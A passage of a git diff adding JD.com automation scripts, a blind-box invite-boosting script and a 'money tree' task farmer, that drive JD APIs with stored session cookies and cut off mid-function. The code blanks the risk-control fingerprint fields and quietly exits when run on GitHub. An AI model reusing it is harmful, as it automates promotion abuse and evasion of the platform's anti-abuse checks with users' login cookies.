*",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_mohe_help.js + +====================================小火箭============================= +5G超级盲盒 = type=cron,script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_mohe_help.js, cronexpr="5 0,19 * * *", timeout=3600, enable=true + */ +const $ = new Env('5G超级盲盒内部互助'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +let cookiesArr = [], cookie = '', message, allMessage = ''; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = 'https://api.m.jd.com/api'; +//邀请码一天一变化,已确定 +$.shareId = []; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareUrl(); + } + } + if (allMessage) { + if ($.isNode()) await notify.sendNotify($.name, allMessage); + $.msg($.name, '', allMessage, {"open-url": "https://blindbox5g.jd.com"}) + } + await $.wait(500) + for (let v = 0; v < cookiesArr.length; v++) { + cookie = cookiesArr[v]; + $.index = v + 1; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + console.log(`\n\n【自己账号内部互助】`); + for (let item of $.shareId) { + console.log(`账号 ${$.index} ${$.UserName} 开始给 ${item}进行助力`) + const res = await addShare(item); + if (res && res['code'] === 2005) { + console.log(`次数已用完,跳出助力`) + break + } else if (res && res['code'] === 1002) { + console.log(`账号火爆,跳出助力`) + break + } + await $.wait(2000) + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function addShare(shareId) { + return new Promise((resolve) => { + const body = {"shareId":shareId,"apiMapping":"/active/addShare"} + $.post(taskurl(body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data['code'] === 200) { + console.log(`助力好友【${data.data}】成功\n`); + } else { + console.log(`助力失败:${data.msg}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function shareUrl() { + return new Promise((resolve) => { + const body = {"apiMapping":"/active/shareUrl"} + $.post(taskurl(body), async (err, resp, data) => { + try { + data = JSON.parse(data); + if (data['code'] === 5000) { + console.log(`尝试多次运行脚本即可获取好友邀请码`) + } + if (data['code'] === 200) { + if (data['data']) $.shareId.push(data['data']); + console.log(`\n【京东账号${$.index}(${$.nickName || $.UserName})的${$.name}好友互助码】${data['data']}\n`) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function taskurl(body = {}) { + return { + 'url': `${JD_API_HOST}?appid=blind-box&functionId=blindbox_prod&body=${JSON.stringify(body)}&t=${Date.now()}&loginType=2`, + 'headers': { + "accept": "application/json, text/plain, */*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-cn", + "content-type": "application/x-www-form-urlencoded", + 'origin': 'https://blindbox5g.jd.com', + "cookie": cookie, + "referer": "https://blindbox5g.jd.com", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_moneyTree.js b/jd_moneyTree.js new file mode 100644 index 0000000..e4850f4 --- /dev/null +++ b/jd_moneyTree.js @@ -0,0 +1,883 @@ +/* +京东摇钱树 :jd_moneyTree.js +更新时间:2021-4-23 +活动入口:京东APP我的-更多工具-摇钱树,[活动链接](https://uua.jr.jd.com/uc-fe-wxgrowing/moneytree/index/?channel=yxhd) +京东摇钱树支持京东双账号 +注:如果使用Node.js, 需自行安装'crypto-js,got,http-server,tough-cookie'模块. 例: npm install crypto-js http-server tough-cookie got --save +===============Quantumultx=============== +[task_local] +#京东摇钱树 +3 0-23/2 * * * jd_moneyTree.js, tag=京东摇钱树, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdyqs.png, enabled=true + +==============Loon=========== +[Script] +cron "3 0-23/2 * * *" script-path=jd_moneyTree.js,tag=京东摇钱树 + +===============Surge=========== +京东摇钱树 = type=cron,cronexp="3 0-23/2 * * *",wake-system=1,timeout=3600,script-path=jd_moneyTree.js + +============小火箭========= +京东摇钱树 = type=cron,script-path=jd_moneyTree.js, cronexpr="3 0-23/2 * * *", timeout=3600, enable=true +*/ + +const $ = new Env('京东摇钱树'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', allMsg = ``; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +let jdNotify = false;//是否开启静默运行,默认false开启 +let sellFruit = true;//是否卖出金果得到金币,默认'true'卖金果 +const JD_API_HOST = 'https://ms.jr.jd.com/gw/generic/uc/h5/m'; +let userInfo = null, taskInfo = [], message = '', subTitle = '', fruitTotal = 0; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n****开始【京东账号${$.index}】${$.nickName || $.UserName}****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + await jd_moneyTree(); + } + } + if (allMsg) { + jdNotify = $.isNode() ? (process.env.MONEYTREE_NOTIFY_CONTROL ? process.env.MONEYTREE_NOTIFY_CONTROL : jdNotify) : ($.getdata('jdMoneyTreeNotify') ? $.getdata('jdMoneyTreeNotify') : jdNotify); + if (!jdNotify || jdNotify === 'false') { + if ($.isNode()) await notify.sendNotify($.name, allMsg); + $.msg($.name, '', allMsg) + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jd_moneyTree() { + try { + const userRes = await user_info(); + if (!userRes || !userRes.realName) return + await signEveryDay(); + await dayWork(); + await harvest(); + await sell(); + await myWealth(); + await stealFriendFruit() + + $.log(`\n${message}\n`); + } catch (e) { + $.logErr(e) + } +} + +function user_info() { + console.log('初始化摇钱树个人信息'); + const params = { + "sharePin": "", + "shareType": 1, + "channelLV": "", + "source": 2, + "riskDeviceParam": { + "eid": "", + "fp": "", + "sdkToken": "", + "token": "", + "jstub": "", + "appType": "2", + } + } + params.riskDeviceParam = JSON.stringify(params.riskDeviceParam); + // await $.wait(5000); //歇口气儿, 不然会报操作频繁 + return new Promise((resolve, reject) => { + $.post(taskurl('login', params), async (err, resp, data) => { + try { + if (err) { + console.log("\n摇钱树京东API请求失败 ‼️‼️") + console.log(JSON.stringify(err)); + } else { + if (data) { + const res = JSON.parse(data); + if (res && res.resultCode === 0) { + $.isLogin = true; + console.log('resultCode为0') + if (res.resultData.data) { + userInfo = res.resultData.data; + // userInfo.realName = null; + if (userInfo.realName) { + // console.log(`助力码sharePin为::${userInfo.sharePin}`); + $.treeMsgTime = userInfo.sharePin; + subTitle = `【${userInfo.nick}】${userInfo.treeInfo.treeName}`; + // message += `【我的金果数量】${userInfo.treeInfo.fruit}\n`; + // message += `【我的金币数量】${userInfo.treeInfo.coin}\n`; + // message += `【距离${userInfo.treeInfo.level + 1}级摇钱树还差】${userInfo.treeInfo.progressLeft}\n`; + } else { + $.log(`京东账号${$.index}${$.UserName}运行失败\n此账号未实名认证或者未参与过此活动\n①如未参与活动,请先去京东app参加摇钱树活动\n入口:我的->游戏与互动->查看更多\n②如未实名认证,请进行实名认证`) + // $.msg($.name, `【提示】京东账号${$.index}${$.UserName}运行失败`, '此账号未实名认证或者未参与过此活动\n①如未参与活动,请先去京东app参加摇钱树活动\n入口:我的->游戏与互动->查看更多\n②如未实名认证,请进行实名认证', {"open-url": "openApp.jdMobile://"}); + } + } + } else { + console.log(`其他情况::${JSON.stringify(res)}`); + } + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + $.logErr(eor, err) + } finally { + resolve(userInfo) + } + }) + }) +} + +function dayWork() { + console.log(`开始做任务userInfo了\n`) + return new Promise(async resolve => { + const data = { + "source": 0, + "linkMissionIds": ["666", "667"], + "LinkMissionIdValues": [7, 7], + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + }; + let response = await request('dayWork', data); + // console.log(`获取任务的信息:${JSON.stringify(response)}\n`) + let canTask = []; + taskInfo = []; + if (response && response.resultCode === 0) { + if (response.resultData.code === '200') { + response.resultData.data.map((item) => { + if (item.prizeType === 2) { + canTask.push(item); + } + if (item.workType === 7 && item.prizeType === 0) { + // missionId.push(item.mid); + taskInfo.push(item); + } + // if (item.workType === 7 && item.prizeType === 0) { + // missionId2 = item.mid; + // } + }) + } + } + console.log(`canTask::${JSON.stringify(canTask)}\n`) + console.log(`浏览任务列表taskInfo::${JSON.stringify(taskInfo)}\n`) + for (let item of canTask) { + if (item.workType === 1) { + // 签到任务 + // let signRes = await sign(); + // console.log(`签到结果:${JSON.stringify(signRes)}`); + if (item.workStatus === 0) { + // const data = {"source":2,"workType":1,"opType":2}; + // let signRes = await request('doWork', data); + let signRes = await sign(); + console.log(`三餐签到结果:${JSON.stringify(signRes)}`); + } else if (item.workStatus === 2) { + console.log(`三餐签到任务已经做过`) + } else if (item.workStatus === -1) { + console.log(`三餐签到任务不在时间范围内`) + } + } else if (item.workType === 2) { + // 分享任务 + if (item.workStatus === 0) { + // share(); + const data = {"source": 0, "workType": 2, "opType": 1}; + //开始分享 + // let shareRes = await request('doWork', data); + let shareRes = await share(data); + console.log(`开始分享的动作:${JSON.stringify(shareRes)}`); + const b = {"source": 0, "workType": 2, "opType": 2}; + // let shareResJL = await request('doWork', b); + let shareResJL = await share(b); + console.log(`领取分享后的奖励:${JSON.stringify(shareResJL)}`) + } else if (item.workStatus === 2) { + console.log(`分享任务已经做过`) + } + } + } + for (let task of taskInfo) { + if (task.mid && task.workStatus === 0) { + console.log('开始做浏览任务'); + // yield setUserLinkStatus(task.mid); + let aa = await setUserLinkStatus(task.mid); + console.log(`aaa${JSON.stringify(aa)}`); + } else if (task.mid && task.workStatus === 1) { + console.log(`workStatus === 1开始领取浏览后的奖励:mid:${task.mid}`); + let receiveAwardRes = await receiveAward(task.mid); + console.log(`领取浏览任务奖励成功:${JSON.stringify(receiveAwardRes)}`) + } else if (task.mid && task.workStatus === 2) { + console.log('所有的浏览任务都做完了') + } + } + resolve(); + }); +} + +function harvest() { + if (!userInfo) return + const data = { + "source": 2, + "sharePin": "", + "userId": userInfo.userInfo, + "userToken": userInfo.userToken, + "shareType": 1, + "channel": "", + "riskDeviceParam": { + "eid": "", + "appType": 2, + "fp": "", + "jstub": "", + "sdkToken": "", + "token": "" + } + } + data.riskDeviceParam = JSON.stringify(data.riskDeviceParam); + return new Promise((rs, rj) => { + request('harvest', data).then((harvestRes) => { + if (harvestRes && harvestRes.resultCode === 0 && harvestRes.resultData.code === '200') { + console.log(`\n收获金果成功:${JSON.stringify(harvestRes)}\n`) + let data = harvestRes.resultData.data; + message += `【距离${data.treeInfo.level + 1}级摇钱树还差】${data.treeInfo.progressLeft}\n`; + fruitTotal = data.treeInfo.fruit; + } else { + console.log(`\n收获金果异常:${JSON.stringify(harvestRes)}`) + } + rs() + // gen.next(); + }) + }) + // request('harvest', data).then((harvestRes) => { + // if (harvestRes.resultCode === 0 && harvestRes.resultData.code === '200') { + // let data = harvestRes.resultData.data; + // message += `【距离${data.treeInfo.level + 1}级摇钱树还差】${data.treeInfo.progressLeft}\n`; + // fruitTotal = data.treeInfo.fruit; + // gen.next(); + // } + // }) +} + +//卖出金果,得到金币 +function sell() { + return new Promise((rs, rj) => { + const params = { + "source": 2, + "jtCount": 7.000000000000001, + "riskDeviceParam": { + "eid": "", + "fp": "", + "sdkToken": "", + "token": "", + "jstub": "", + "appType": 2, + } + } + params.riskDeviceParam = JSON.stringify(params.riskDeviceParam);//这一步,不可省略,否则提交会报错(和login接口一样) + console.log(`目前金果数量${fruitTotal}`) + sellFruit = $.isNode() ? (process.env.MONEY_TREE_SELL_FRUIT ? process.env.MONEY_TREE_SELL_FRUIT : `${sellFruit}`) : ($.getdata('MONEY_TREE_SELL_FRUIT') ? $.getdata('MONEY_TREE_SELL_FRUIT') : `${sellFruit}`); + if (sellFruit && sellFruit === 'false') { + console.log(`\n设置的不卖出金果\n`) + rs() + return + } + if (fruitTotal >= 8000 * 7) { + if (userInfo['jtRest'] === 0) { + console.log(`\n今日已卖出5.6万金果(已达上限),获得0.07金贴\n`) + rs() + return + } + request('sell', params).then((sellRes) => { + if (sellRes && sellRes['resultCode'] === 0) { + if (sellRes['resultData']['code'] === '200') { + if (sellRes['resultData']['data']['sell'] === 0) { + console.log(`卖出金果成功,获得0.07金贴\n`); + allMsg += `账号${$.index}:${$.nickName || $.UserName}\n今日成功卖出5.6万金果,获得0.07金贴${$.index !== cookiesArr.length ? '\n\n' : ''}` + } else { + console.log(`卖出金果失败:${JSON.stringify(sellRes)}\n`) + } + } + } + rs() + }) + } else { + console.log(`当前金果数量不够兑换 0.07金贴\n`); + rs() + } + // request('sell', params).then(response => { + // rs(response); + // }) + }) + // request('sell', params).then((sellRes) => { + // console.log(`卖出金果结果:${JSON.stringify(sellRes)}\n`) + // gen.next(); + // }) +} + +//获取金币和金果数量 +function myWealth() { + return new Promise((resolve) => { + const params = { + "source": 2, + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + } + params.riskDeviceParam = JSON.stringify(params.riskDeviceParam);//这一步,不可省略,否则提交会报错(和login接口一样) + request('myWealth', params).then(res => { + if (res && res.resultCode === 0 && res.resultData.code === '200') { + console.log(`金贴和金果数量::${JSON.stringify(res)}`); + message += `【我的金果数量】${res.resultData.data.gaAmount}\n`; + message += `【我的金贴数量】${res.resultData.data.gcAmount / 100}\n`; + } + resolve(); + }) + }); +} + +function sign() { + console.log('开始三餐签到') + const data = {"source": 2, "workType": 1, "opType": 2}; + return new Promise((rs, rj) => { + request('doWork', data).then(response => { + rs(response); + }) + }) +} + +function signIndex() { + const params = { + "source": 0, + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + } + return new Promise((rs, rj) => { + request('signIndex', params).then(response => { + rs(response); + }) + }) +} + +function signEveryDay() { + return new Promise(async (resolve) => { + try { + let signIndexRes = await signIndex(); + if (signIndexRes.resultCode === 0) { + console.log(`每日签到条件查询:${signIndexRes.resultData.data.canSign === 2 ? '可以签到' : '已经签到过了'}`); + if (signIndexRes.resultData && signIndexRes.resultData.data.canSign == 2) { + console.log('准备每日签到') + let signOneRes = await signOne(signIndexRes.resultData.data.signDay); + console.log(`第${signIndexRes.resultData.data.signDay}日签到结果:${JSON.stringify(signOneRes)}`); + if (signIndexRes.resultData.data.signDay === 7) { + let getSignAwardRes = await getSignAward(); + console.log(`店铺券(49-10)领取结果:${JSON.stringify(getSignAwardRes)}`) + if (getSignAwardRes.resultCode === 0 && getSignAwardRes.data.code === 0) { + message += `【7日签到奖励领取】${getSignAwardRes.datamessage}\n` + } + } + } + } + } catch (e) { + $.logErr(e); + } finally { + resolve() + } + }) +} + +function signOne(signDay) { + const params = { + "source": 0, + "signDay": signDay, + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + } + return new Promise((rs, rj) => { + request('signOne', params).then(response => { + rs(response); + }) + }) +} + +// 领取七日签到后的奖励(店铺优惠券) +function getSignAward() { + const params = { + "source": 2, + "awardType": 2, + "deviceRiskParam": 1, + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + } + return new Promise((rs, rj) => { + request('getSignAward', params).then(response => { + rs(response); + }) + }) +} + +// 浏览任务 +async function setUserLinkStatus(missionId) { + let index = 0; + do { + const params = { + "missionId": missionId, + "pushStatus": 1, + "keyValue": index, + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + } + let response = await request('setUserLinkStatus', params) + console.log(`missionId为${missionId}::第${index + 1}次浏览活动完成: ${JSON.stringify(response)}`); + // if (resultCode === 0) { + // let sportRevardResult = await getSportReward(); + // console.log(`领取遛狗奖励完成: ${JSON.stringify(sportRevardResult)}`); + // } + index++; + } while (index < 7) //不知道结束的条件,目前写死循环7次吧 + console.log('浏览店铺任务结束'); + console.log('开始领取浏览后的奖励'); + let receiveAwardRes = await receiveAward(missionId); + console.log(`领取浏览任务奖励成功:${JSON.stringify(receiveAwardRes)}`) + return new Promise((resolve, reject) => { + resolve(receiveAwardRes); + }) + // gen.next(); +} + +// 领取浏览后的奖励 +function receiveAward(mid) { + if (!mid) return + mid = mid + ""; + const params = { + "source": 0, + "workType": 7, + "opType": 2, + "mid": mid, + "riskDeviceParam": { + "eid": "", + "dt": "", + "ma": "", + "im": "", + "os": "", + "osv": "", + "ip": "", + "apid": "", + "ia": "", + "uu": "", + "cv": "", + "nt": "", + "at": "1", + "fp": "", + "token": "" + } + } + return new Promise((rs, rj) => { + request('doWork', params).then(response => { + rs(response); + }) + }) +} + +function share(data) { + if (data.opType === 1) { + console.log(`开始做分享任务\n`) + } else { + console.log(`开始做领取分享后的奖励\n`) + } + return new Promise((rs, rj) => { + request('doWork', data).then(response => { + rs(response); + }) + }) +} + +async function stealFriendFruit() { + await friendRank(); + if ($.friendRankList && $.friendRankList.length > 0) { + const canSteal = $.friendRankList.some((item) => { + const 